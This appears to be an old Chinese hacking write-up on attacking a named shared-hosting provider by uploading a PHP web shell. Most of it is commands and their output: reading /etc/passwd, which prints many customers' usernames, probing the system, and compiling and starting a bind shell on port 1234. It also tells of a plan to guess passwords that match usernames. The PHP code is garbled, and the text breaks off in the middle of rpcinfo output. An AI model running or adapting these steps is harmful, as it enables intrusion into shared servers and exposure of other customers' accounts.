构建Linux下的安全 PHP配置漏洞攻击

这些站点的问题主要出在允许使用system(),exec()等等这些函数,熟悉php的朋友应该知道,这些函数是调用系统指令的(虽然通过web server php程序只能有nobody权限),而且一般用户只要申请一个空间就可以获取局部的可写权限,令用户可以写一个web shell程序执行命令.在这些服务器上一般用户不能够登陆,也就是nologin(没有登陆shell,管理员可没那么"慷慨"!),这样利用system(),exec()这些函数就可以bind一个shell出来~!本文以虎翼网(www.51.net)的空间为例子(他是不是所有的服务器都有这个毛病我不知道~我只试验了我的空间所在的服务器):

1.写一个webshell先(php很容易做到)

?>php #shell.php3 echo"

"; system("$cmd"); echo" "; ?>

2.上传到空间

3.执行(具体的服务器马赛克处理)

lynx http://xxx.51.net/cgi-bin/shell.php?cmd=id (看一下权限到底多大) uid=171047(xxxx) gid=51(xxx) groups=51(xxx), 65534(nobody) root真的很吝啬啊! lynx http://xxx.51.net/cgi-bin/shell.php?cmd=uname -ras(看看系统) FreeBSD xxx.51.net 3.3-RELEASE FreeBSD 3.3-RELEASE #11: Tue Mar 20 00:58:09 CST 2001 [email protected]:/usr/src/sys/compile/51NET i386 lynx http://xxx.51.net/cgi-bin/shell.php?cmd=cat /etc/passwd(shadow是铁定看不到) root:*:0:0:Charlie &:/root:/bin/csh toor:*:0:0:Bourne-again Superuser:/root: daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin operator:*:2:5:System &:/:/sbin/nologin bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin tty:*:107353:51:USER:/home/tty:/local/bin/null kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin games:*:7:13:Games pseudo-user:/usr/games:/sbin/nologin news:*:8:8:News Subsystem:/:/sbin/nologin man:*:9:9:Mister Man Pages:/usr/share/man:/sbin/nologin bind:*:53:53:Bind Sandbox:/:/sbin/nologin uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/libexec/uucp/uucico xten:*:67:67:X-10 daemon:/usr/local/xten:/sbin/nologin pop:*:68:6:Post Office Owner:/nonexistent:/sbin/nologin ftp:*:70:70:FTP Daemon:/nonexistent:/sbin/nologin nobody:*:65534:65534:Unprivileged user:/nonexistent:/sbin/nologin quotauser1:*:997:51:quotauser:/home/quotauser1:/sbin/nologin quotauser2:*:998:51:quotauser:/home/quotauser2:/sbin/nologin quotauser3:*:999:51:quotauser:/home/quotauser3:/sbin/nologin tian:*:1002:1002::/local/tian:/local/bin/ksh sysadmin:*:1001:1001:Syste Administrator:/local/sysadmin:/local/bin/ksh test2:*:9999:51::/home/test2:/local/bin/null xhjj:*:106200:51:USER:/home/xhjj:/sbin/nologin zhinan:*:106201:51:USER:/home/zhinan:/local/bin/null yes2:*:106202:51:USER:/home/yes2:/local/bin/null daboy:*:106203:51:USER:/home/daboy:/local/bin/null yesky:*:106204:51:USER:/home/yesky:/local/bin/null yesk:*:106205:51:USER:/home/yesk:/local/bin/null lnsyzzg:*:106206:51:USER:/home/lnsyzzg:/local/bin/null fog:*:106207:51:USER:/home/fog:/local/bin/null renshou:*:106208:51:USER:/home/renshou:/local/bin/null hilen:*:106209:51:USER:/home/hilen:/local/bin/null hapybird:*:106210:51:USER:/home/hapybird:/sbin/nologin xiewei:*:106211:51:USER:/home/xiewei:/sbin/nologin wwwer:*:106212:51:USER:/home/wwwer:/local/bin/null larry:*:106213:51:USER:/home/larry:/local/bin/null sunboys:*:106214:51:USER:/home/sunboys:/local/bin/null everydayyuki:*:106215:51:USER:/home/everydayyuki:/local/bin/null linguanxi:*:106216:51:USER:/home/linguanxi:/local/bin/null baobao:*:106217:51:USER:/home/baobao:/local/bin/null chaoshan:*:106218:51:USER:/home/chaoshan:/local/bin/null hrstudio:*:106219:51:USER:/home/hrstudio:/local/bin/null dengxian:*:106220:51:USER:/home/dengxian:/local/bin/null simonstone:*:106221:51:USER:/home/simonstone:/local/bin/null chenjian:*:106222:51:USER:/home/chenjian:/local/bin/null lvxiangml:*:106223:51:USER:/home/lvxiangml:/local/bin/null zzbxaxa:*:106224:51:USER:/home/zzbxaxa:/local/bin/null pc2000:*:106225:51:USER:/home/pc2000:/local/bin/null startexcel:*:106226:51:USER:/home/startexcel:/local/bin/null model:*:106227:51:USER:/home/model:/local/bin/null leogirl:*:106228:51:USER:/home/leogirl:/local/bin/null fohcn:*:106229:51:USER:/home/fohcn:/local/bin/null ljok:*:106230:51:USER:/home/ljok:/local/bin/null baorui:*:106231:51:USER:/home/baorui:/local/bin/null fky-jack:*:106232:51:USER:/home/fky-jack:/local/bin/null zhaowen:*:106233:51:USER:/home/zhaowen:/local/bin/null xiaojiaoya:*:106234:51:USER:/home/xiaojiaoya:/local/bin/null zyinter:*:106235:51:USER:/home/zyinter:/local/bin/null power:*:106236:51:USER:/home/power:/local/bin/null feefan:*:106237:51:USER:/home/feefan:/local/bin/null paradise:*:106238:51:USER:/home/paradise:/local/bin/null wulc:*:106239:51:USER:/home/wulc:/local/bin/null jcm:*:106240:51:USER:/home/jcm:/local/bin/null liangxiaom:*:106241:51:USER:/home/liangxiaom:/local/bin/null jingder:*:106242:51:USER:/home/jingder:/local/bin/null hanjun:*:106243:51:USER:/home/hanjun:/local/bin/null adai:*:106244:51:USER:/home/adai:/local/bin/null fightben:*:106245:51:USER:/home/fightben:/local/bin/null lihonghui-ooo:*:106246:51:USER:/home/lihonghui-ooo:/local/bin/null xeno:*:106247:51:USER:/home/xeno:/local/bin/null ..................(太多了~省略)

只有几个用户有shell可以登陆,cp到我的目录下面,等一下分离出usrename看看有没有人username=passwd的~呵呵~

　　 lynx http://xxx.51.net/cgi-bin/shell.php?cmd=set HOME=/ PS$ OPTIND=1 PS2=> PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin IFS= 好差的"环境",被设置成这样.... lynx http://xxx.51.net/cgi-bin/shell.php?cmd=cat /etc/hosts # $reeBSD: src/etc/hosts,v 1.9.2.1 1999/08/29 14:18:44 peter Exp $ # Host Database # This file should contain the addresses and aliases # for local hosts that share this file. # In the presence of the domain name service or NIS, this file may # not be consulted at all; see /etc/host.conf for the resolutionorder. #127.0.0.1 localhost localhost.my.domain myname.my.domain # # Imaginary network. #10.0.0.2 myname.my.domain myname #10.0.0.3 myfriend.my.domain myfriend # # According to RFC 1918, you can use the following IP networks for # private nets which will never be connected to the Internet: # # 10.0.0.0 - 10.255.255.255 # 172.16.0.0 - 172.31.255.255 # 192.168.0.0 - 192.168.255.255 # #

不算太小啊~hosts ~

lynx http://xxx.51.net/cgi-bin/shell.php?cmd=whereis -b gcc

(老天保佑~有gcc)

gcc:/usr/sbin/gcc(万岁!!!!!!!!!!!!)

我来试试看~弄一个大家伙上去,编译一下,哈哈~速度好快!

webshell太累了,bind一个shell出来方便一点...(上传binshell程序,自己写也可以用perl/C,都不太难)

lynx http://xxx.51.net/cgi-bin/shell.php?cmd=gcc -o bind bindshell.c lynx http://xxx.51.net/cgi-bin/shell.php?cmd=./bind 1234 bind shell too port 1234 telnet xxx.51.net 1234

.....下面省略,反正就可以执行命令了

嗯~好像这台没装MySQL,可惜~呵呵~~~~~~~~~,对了oso.com.cn的好像有~,不过最近停了.....

lynx http://xxx.51.net/cgi-bin/shell.php?cmd=/usr/sbin/rpcinfo -p localhost portmapper 100000 portmap sunrpc rstatd 100001 rstat rstat_svc rup perfmeter rusersd 100002 rusers nfs 100003 nfsprog ypserv 100004 ypprog mountd 100005 mount showmount ypbind 100007 walld 100008 rwall shutdown yppasswdd 100009 yppasswd etherstatd 100010 etherstat rquotad 100011 rquotaprog quota rquota sprayd 100012 spray 3270_mapper 100013 rje_ma